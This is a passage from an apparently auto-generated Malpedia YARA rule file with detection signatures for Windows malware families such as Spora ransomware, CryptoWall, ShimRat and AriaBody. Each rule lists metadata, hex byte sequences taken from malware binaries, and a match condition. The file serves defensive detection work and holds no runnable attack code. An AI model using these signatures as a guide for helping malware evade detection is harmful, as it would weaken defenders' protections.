		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 57 ff7508 ff15???????? 8bf0 56 }
		$sequence_1 = { 8d45fc 50 57 6a01 56 ff7508 }
		$sequence_2 = { 6a00 8bf8 8d45fc 50 57 6a01 56 }
		$sequence_3 = { 6a01 56 ff7508 8975fc }
		$sequence_4 = { 53 53 53 6800000088 }
		$sequence_5 = { a5 ff512c 85c0 756c }
		$sequence_6 = { a5 50 a5 ff512c 85c0 756c }
		$sequence_7 = { 8b08 50 ff11 85c0 7527 }
		$sequence_8 = { 8bec 51 56 57 ff7508 ff15???????? 8bf0 }
		$sequence_9 = { 53 53 53 53 6800000088 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Roadsweep_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6c093c47-8e58-51ee-ae4c-89b38c2f042b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roadsweep"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roadsweep_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "0d07cae12c5491ee120ce765fa753d2699b968376031bccf1e21a7a431677bd5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89542404 e8???????? 3955cc 89c3 c745b800000000 }
		$sequence_1 = { e9???????? c7442404???????? c7042404010000 e8???????? 83ec08 e9???????? c744240404010000 }
		$sequence_2 = { 8b45e8 85d2 0f885d010000 85d2 0f8ea6010000 }
		$sequence_3 = { 00d2 8b5d08 83d903 8db534ffffff c744240c00000000 29f9 baffffffff }
		$sequence_4 = { 56 ba01000000 53 83ec50 8b7508 8d742600 8dbc2700000000 }
		$sequence_5 = { c744241000000000 89542404 893424 e8???????? 8bbd6cffffff }
		$sequence_6 = { c745cc04100800 891424 e8???????? 83ec04 85c0 }
		$sequence_7 = { e8???????? 891c24 8d9578fbffff 89542404 c68578fbffff25 c68579fbffff73 c6857afbffff63 }
		$sequence_8 = { 890424 e8???????? 89b564ffffff 31c9 48 899d6cffffff }
		$sequence_9 = { 3d???????? 7207 3d???????? 7216 }
	condition:
		7 of them and filesize < 160768
}

rule MALPEDIA_Win_Ariabody_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b288143a-494f-5110-aa08-78c947a2ffad"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ariabody_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "01493614906849451d77f5112637b662b1eef5ef050791957456a657828f7e1a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3ac3 7402 32c3 88040a }
		$sequence_1 = { 8bd9 e8???????? 8bf8 893b }
		$sequence_2 = { 8d55fc 03f9 e8???????? 59 85c0 }
		$sequence_3 = { 0138 115804 eb02 0138 }
		$sequence_4 = { 55 8bec 83ec50 53 57 8bd9 }
		$sequence_5 = { ff75d9 8d45cc 50 57 }
		$sequence_6 = { 56 8d0c30 ffd1 8bc6 5f }
		$sequence_7 = { 8bf8 893e eb13 8b16 8bcf }
		$sequence_8 = { 448850d2 448850d3 448850d4 448850d5 448850d6 448858d7 }
		$sequence_9 = { 33d2 4c8d4c2420 4d895108 4889f1 4533c0 ff9550010000 4c8b542428 }
		$sequence_10 = { e8???????? ba0a000000 4c8d15e189ffff 385558 }
		$sequence_11 = { 415c 5f 5e c3 4c89e2 }
		$sequence_12 = { 48c7c103000080 33d2 4c8d842498000000 4c8d8c24bc010000 4c897020 4c897028 }
		$sequence_13 = { c78424bc01000000010000 488d8c2498000000 488d542448 ff95b8010000 4989e2 }
		$sequence_14 = { 85c0 752e 4889e9 4889f2 }
		$sequence_15 = { 4889742448 4489de 48897c2440 4489d7 4c89642438 4189c4 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Buterat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0069324a-e70e-54da-b752-be0a297a08d5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buterat_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "2a55e665ba3ad4c5f4e76ca6aa40a42d86bc8aa495194478ad6bc52271aa15de"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7644 8b9ea05b4100 8d8e645a4100 8b11 395508 7305 895508 }
		$sequence_1 = { 7e27 8b04b5e8034100 66833800 7508 8bc3 eb0d 33c0 }
		$sequence_2 = { 85f6 7508 81ffb7000000 7514 8d8590f5ffff 50 be???????? }
		$sequence_3 = { ff15???????? 85c0 8b4d14 8901 7505 2145fc }
		$sequence_4 = { 85c0 0f849c010000 8d4dfc 51 53 68???????? e8???????? }
		$sequence_5 = { 50 e8???????? 83c414 85c0 744e 68???????? 53 }
		$sequence_6 = { 397df4 7477 813d????????60010000 7e6b 393d???????? 7463 bb00100000 }
		$sequence_7 = { 8945fc 53 6800000080 53 53 ff7508 ff35???????? }
		$sequence_8 = { 50 53 ffd7 b9???????? 8d8500f8ffff e8???????? 6a01 }
		$sequence_9 = { c3 55 8bec b840180000 e8???????? ff15???????? 66833d????????00 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Skynet_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "696c4936-7a3d-5b86-95a5-a0774cacd4ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skynet"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skynet_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "1d32da1d46f2bb7e98914cbd9405f4812d3bd3786d6edfb45c62833d68ff1301"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8ba42438010000 4c8b4c2460 48b8ffffffffffffff7f 4c898c2430010000 4889bc2440010000 4939c4 }
		$sequence_1 = { 4889d9 e8???????? 4889f1 e8???????? 488d8c24b0000000 e8???????? 4c89f1 }
		$sequence_2 = { 0fb654243f 4889c8 4883e0fc 4809d0 48894520 e8???????? 488d8c24b0000000 }
		$sequence_3 = { 488d059c478b00 31d2 4889f1 48894310 4883c028 48898380000000 e8???????? }
		$sequence_4 = { 4889cb 488d0d21fd8900 e8???????? 4889c2 488b03 488b4008 488b04d0 }
		$sequence_5 = { 4c894c2428 488d5001 e8???????? 4c8b4c2428 488b442420 4c894c2430 }
		$sequence_6 = { 488b01 4889cb 480358e8 488d0586478a00 488903 488b05???????? 488d4b18 }
		$sequence_7 = { 48c783b801000000000000 488983a8010000 0fb787e0000000 488d7b10 4889f9 668983b0010000 488d053dde8d00 }
		$sequence_8 = { c705????????01000000 4883c010 488905???????? e8???????? 488d35d1c58b00 488b15???????? 664d0f6ec5 }
		$sequence_9 = { e8???????? 488b4c2460 4c39e9 740f 488b442470 488d540002 e8???????? }
	condition:
		7 of them and filesize < 20419584
}

rule MALPEDIA_Win_Tclient_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "650e8891-ed90-5136-bd2f-e9d9bc478c30"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tclient_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8cec1eb16073a2ac15195a2fb3f4612d56f52a89cef4787143a34f4035169950"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffb5f0fdffff ff95e4fdffff 8bf0 83c40c 85f6 0f85ec020000 8b85f0fdffff }
		$sequence_1 = { 6a00 50 e8???????? 83c40c c70340000000 8bcb e8???????? }
		$sequence_2 = { 8d4508 8bcc 50 e8???????? 8d4dcc 885dfc e8???????? }
		$sequence_3 = { 0f8521feffff 837d1001 0f857a010000 85f6 745f 8b4e04 57 }
		$sequence_4 = { ff7508 8bd7 8bce e8???????? 59 59 5f }
		$sequence_5 = { 8bf1 57 84d2 756a b800020000 66858620030000 755c }
		$sequence_6 = { 8d45c8 50 8d7730 56 8d5750 8d4de8 e8???????? }
		$sequence_7 = { 8b049dc0a04700 0fb6440828 83e001 0f848d000000 b8ffffff7f 3b4510 1bc0 }
		$sequence_8 = { 3bd8 7e2c 8d95b0feffff 8d8d60faffff e8???????? 8b9da8faffff 8bf8 }
		$sequence_9 = { 33c0 66898625030000 89862a030000 888627030000 888622030000 884660 88467c }
	condition:
		7 of them and filesize < 1063936
}

rule MALPEDIA_Win_Spora_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb2e8bb4-ead2-5b5f-8d4b-4b5ca032457e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spora_ransom_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "4e1870b731d039931c3cd87b8cbae836b84abbb8438fb88731c5b4fc00862572"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8d45f0 50 ff5508 }
		$sequence_1 = { 7436 03fb 83ff0c 72ec }
		$sequence_2 = { 53 56 ff7508 e8???????? 85c0 7422 56 }
		$sequence_3 = { ff36 57 ff15???????? 57 e8???????? }
		$sequence_4 = { 83fe0a 72e4 5e c9 c3 }
		$sequence_5 = { 8bf0 85f6 7445 8365fc00 8d45fc 50 57 }
		$sequence_6 = { 8d45f0 50 ff5508 d1eb 46 83fe1a 72c7 }
		$sequence_7 = { 740e 8b45fc 8b4010 0fb6f0 }
		$sequence_8 = { 0bf0 57 ff15???????? 5f 8bc6 }
		$sequence_9 = { 741f ff36 ff15???????? 85c0 7413 0fb600 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Backconfig_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "18fd149c-ad9b-5433-8651-ac1dcd92de05"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backconfig_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "dc29e43fa81d60d5f53e6f4d5e158937c417e8f12650929b20d71338a8cb5ead"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a1???????? 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff }
		$sequence_1 = { e8???????? 8b4de4 83c40c 6bc930 8975e0 8db1682a4100 }
		$sequence_2 = { 8a15???????? 8d8569ffffff 6a00 50 898d64ffffff 889568ffffff }
		$sequence_3 = { c1f805 8d1485c0504100 8b0a 83e61f c1e606 03ce }
		$sequence_4 = { 8bc3 c1f805 8d3c85c0504100 8bf3 83e61f c1e606 8b07 }
		$sequence_5 = { 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff 898df4feffff }
		$sequence_6 = { 8d8d2cfdffff 68???????? 51 e8???????? 83c414 68401f0000 }
		$sequence_7 = { 6a00 50 898d64ffffff 889568ffffff e8???????? }
		$sequence_8 = { 8bf1 83e61f 8d3c85c0504100 8b07 c1e606 f644300401 7436 }
		$sequence_9 = { 8bec 8b4508 56 8d34c550224100 833e00 7513 }
	condition:
		7 of them and filesize < 217088
}

rule MALPEDIA_Win_Dragonbreath_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dce0b381-95ab-5aa0-a119-0eedad899009"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonbreath"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dragonbreath_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "f0cd4604abe67553fcedb3fe371f55dd5d5d8e023a81a960ca3c6bc06a72d951"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c410 eb14 8d8590fdffff 50 }
		$sequence_1 = { 68???????? 8d4da8 51 e8???????? 8b7de4 }
		$sequence_2 = { 8b5dd0 ebab c745e470820110 817de47c820110 7311 }
		$sequence_3 = { 33db 8945c8 895dcc 895dd0 c745e80f000000 895de4 885dd4 }
		$sequence_4 = { 2bcf b879787878 f7e9 c1fa07 8bf2 }
		$sequence_5 = { 8dbd84fcffff 68ff010000 f3a5 8d8df5fdffff 6a00 51 }
		$sequence_6 = { c1e006 8b0c8d80fb0110 8d440104 8020fe ff36 e8???????? 59 }
		$sequence_7 = { e8???????? 85ff 7407 57 ff15???????? 8b8558fdffff 8b4df0 }
		$sequence_8 = { 51 ff15???????? 46 3bb424dc110000 72e8 e9???????? }
		$sequence_9 = { 8bd6 69d200a4d9fa 03ca b8b17c2195 f7e1 8bda c1eb15 }
	condition:
		7 of them and filesize < 295936
}

rule MALPEDIA_Win_Badcall_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "233fe049-459f-50da-b51f-73303606a185"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badcall_auto.yar#L1-L239"
		license_url = "N/A"
		logic_hash = "cbbb68fc4f4ef6dd9bf8f48d22c329386c6109c255e88f35209d20a078bb6b07"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? b907000000 33c0 8d7c240d }
		$sequence_1 = { 85c0 754b bf???????? 83c9ff f2ae f7d1 49 }
		$sequence_2 = { c644240c00 f3ab 66ab 8d4c242c c744240800000000 aa }
		$sequence_3 = { 8bf1 89742404 8d4e18 e8???????? }
		$sequence_4 = { 53 57 33db b97f000000 33c0 8dbc2415010000 }
		$sequence_5 = { 89442412 8bf1 6685ff 66c74424080000 6689442416 746d 6a06 }
		$sequence_6 = { e8???????? 85c0 7429 8b5604 8d4c240c 51 687e660480 }
		$sequence_7 = { 56 89442406 57 8b7c241c 8944240e }
		$sequence_8 = { 8b44242c 85c0 0f848a020000 33c9 48 }
		$sequence_9 = { 8b742410 8d0c12 57 8bd9 33c0 8bfe 52 }
		$sequence_10 = { 8b4c2410 85c9 0f849f080000 8bd1 8bcd }
		$sequence_11 = { c1e902 f3a5 8bc8 8b442468 83e103 }
		$sequence_12 = { 5f 898834010000 5e 33c0 }
		$sequence_13 = { 750f 8b4614 85c0 0f87c2feffff 8b442414 8b442410 5f }
		$sequence_14 = { 899014020000 8b94241c010000 898818020000 8b8c2420010000 89901c020000 }
		$sequence_15 = { 899518010000 8b542414 85d2 7409 52 }
		$sequence_16 = { 3bd1 7d06 ebda 3bd1 }
		$sequence_17 = { 81ec2c010000 55 68???????? ff15???????? }
		$sequence_18 = { e8???????? 8b442464 6a01 8d4c242c 6a04 51 57 }
		$sequence_19 = { 5e 85c0 7406 33c0 83c454 c3 }
		$sequence_20 = { 8bb6a48b0110 eb06 8bb6d88b0110 3bce 7e20 83e907 }
		$sequence_21 = { 83c40c e9???????? 6a00 6883341200 57 c744242401000000 }
		$sequence_22 = { 8d7c240d c644240c00 f3ab 8b35???????? 68???????? }
		$sequence_23 = { 6a00 688f341200 56 e8???????? 83c40c 57 }
	condition:
		7 of them and filesize < 483328
}

rule MALPEDIA_Win_Batel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce5297ec-2628-56fe-90d3-14a58de70bd5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.batel_auto.yar#L1-L219"
		license_url = "N/A"
		logic_hash = "be5c7cfc92fc63831f946ba5608b114c38a6759dff1e1a478b017b493c38ecb1"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c0 5b c21000 3b0d???????? 7502 }
		$sequence_1 = { eb35 a1???????? 81b80000230050450000 75eb b90b010000 66398818002300 }
		$sequence_2 = { 7412 ffd0 56 ffd3 68005c2605 ffd5 47 }
		$sequence_3 = { 8bec 81eca0020000 68ee020000 ff15???????? 689d020000 }
		$sequence_4 = { 85f6 7422 68???????? 56 ff15???????? 85c0 7412 }
		$sequence_5 = { 57 6a40 6800100000 689e020000 }
		$sequence_6 = { 68005c2605 ffd5 47 83ff5a 7ccd 5f 5e }
		$sequence_7 = { 55 8b2d???????? 56 57 68a00f0000 ffd5 8b1d???????? }
		$sequence_8 = { 33c9 b8???????? 8a10 88940d60fdffff }
		$sequence_9 = { 6868212300 e8???????? 33db 895de4 8d4594 50 ff15???????? }
		$sequence_10 = { 8935???????? 68d0202300 68c4202300 e8???????? 59 59 }
		$sequence_11 = { 66a5 ffd0 5f 5e }
		$sequence_12 = { e9???????? 6894152300 e8???????? a1???????? c704242c302300 ff35???????? }
		$sequence_13 = { ff15???????? 689d020000 8d8561fdffff 6a00 50 }
		$sequence_14 = { 50 c68560fdffff00 e8???????? 83c40c 33c9 }
		$sequence_15 = { 41 3d???????? 7cec 56 57 }
		$sequence_16 = { 8b1d???????? bf01000000 8d642400 68???????? ff15???????? 8bf0 85f6 }
		$sequence_17 = { c745fc00000000 6800002300 e8???????? 83c404 85c0 }
		$sequence_18 = { 689e020000 6a00 ff15???????? 8bf8 b9a7000000 8db560fdffff f3a5 }
		$sequence_19 = { c3 8bff 56 b858212300 be58212300 57 }
		$sequence_20 = { 7419 ffd0 56 ffd3 68404c5827 ff15???????? 47 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Shimrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b3f34c04-651c-587d-bd77-b7f0b88267a0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shimrat_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "f6aefe8dd1d3b634b60800b8c047d2a812717e57ed1af7e84c8f3a77485271ec"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 ff750c 8b4d08 e8???????? 8b4508 5f }
		$sequence_1 = { 6aff ff75fc 56 ff7514 ffd7 8bd8 8d4301 }
		$sequence_2 = { 8d4d50 e8???????? ff7570 e8???????? 8d4d50 }
		$sequence_3 = { 85ff 7e1a 8b19 ff742410 8d0433 50 e8???????? }
		$sequence_4 = { ff15???????? 895df8 3bc3 0f8483000000 }
		$sequence_5 = { 53 8d45e8 56 50 e8???????? 6a02 }
		$sequence_6 = { 742e 837dfc04 7519 68???????? ff75f8 e8???????? 59 }
		$sequence_7 = { 8d4ddc e8???????? 85c0 754b 8d4df0 e8???????? }
		$sequence_8 = { 33c0 40 c3 a810 7404 }
		$sequence_9 = { ff15???????? c20400 55 8bec 81ec88000000 8365ec00 53 }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Fuxsocy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e4d8f81-20f8-540c-90a5-36985982ab6a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fuxsocy_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "dc08d740dcf5db967ba7f125c57f76f52d4f954228326fede3bf43506bd45bbf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b0d???????? e8???????? 8b4dfc e8???????? 46 3b35???????? 72c4 }
		$sequence_1 = { 51 51 51 51 f7d8 51 }
		$sequence_2 = { 50 6a01 53 ff15???????? 85c0 756e 395c2414 }
		$sequence_3 = { 8b08 ff5108 8b45e4 5f 5e c9 c3 }
		$sequence_4 = { ff74241c 8bda 894c2414 ff15???????? 8b7c2418 8be8 8b17 }
		$sequence_5 = { 50 8d44241c 50 6a00 6a07 6a00 ff742424 }
		$sequence_6 = { 8954240c 85ff 7474 8b4f04 55 8d54240c e8???????? }
		$sequence_7 = { 8b45fc 6a5c 5a 66891448 }
		$sequence_8 = { 83c102 e8???????? 8b16 8b4e1c 8944d104 ff06 }
		$sequence_9 = { 8954241c 8be9 8364241000 8364241800 8364242400 8d442424 50 }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Cryptowall_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "50af5d84-6bf2-5e21-963e-da71c1d0aa83"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptowall_auto.yar#L1-L108"
		license_url = "N/A"
		logic_hash = "44ba25f2c9e3be57522d3914736a7aa98c9dc8885fa529ce3340a46dbf9f3527"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 8b482c ffd1 6a00 }
		$sequence_1 = { 83ec08 837d0800 7502 eb4f 6a08 6a00 }
		$sequence_2 = { e8???????? 83c408 99 b91a000000 }
		$sequence_3 = { 894dfc 837df805 752d 837dfc00 }
		$sequence_4 = { 83ec18 56 8b450c 50 }
		$sequence_5 = { 99 b91a000000 f7f9 83c261 8b45f4 }
		$sequence_6 = { e8???????? 83c408 8b0d???????? 898114010000 }
		$sequence_7 = { b861000000 668945ee b963000000 66894df0 }
		$sequence_8 = { 52 e8???????? 8b400c ffd0 }
		$sequence_9 = { 6880000000 6a00 8d4de8 51 }
	condition:
		7 of them and filesize < 417792
}

rule MALPEDIA_Win_Startpage_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5a6b784b-ec8f-5962-9d64-894cc5561282"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.startpage_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "21d756dfb49cd7d91a800b8f6049ef1f88714f6007f6f320c1aa4c2e5532acfc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6801000080 ff15???????? 8b4dd8 8bf0 83c1f0 e8???????? 85f6 }
		$sequence_1 = { 8b4f18 84040a eb57 8b471c 85c0 741b 8b4808 }
		$sequence_2 = { 663bc3 75f6 2b8de4deffff d1f9 41 8d344e 8d144a }
		$sequence_3 = { 1bc0 2516020780 e9???????? 56 8b36 e8???????? 59 }
		$sequence_4 = { 50 8d4e0c e8???????? 33c0 894610 894614 894618 }
		$sequence_5 = { 8d7010 89b5e0feffff 8d85e0feffff c645fc0d 50 8d4b1c e8???????? }
		$sequence_6 = { 85c0 51 0f45d8 c645fc05 53 8d4db8 e8???????? }
		$sequence_7 = { ff15???????? 6a01 ff758c ff15???????? 8b4588 6a15 8b484c }
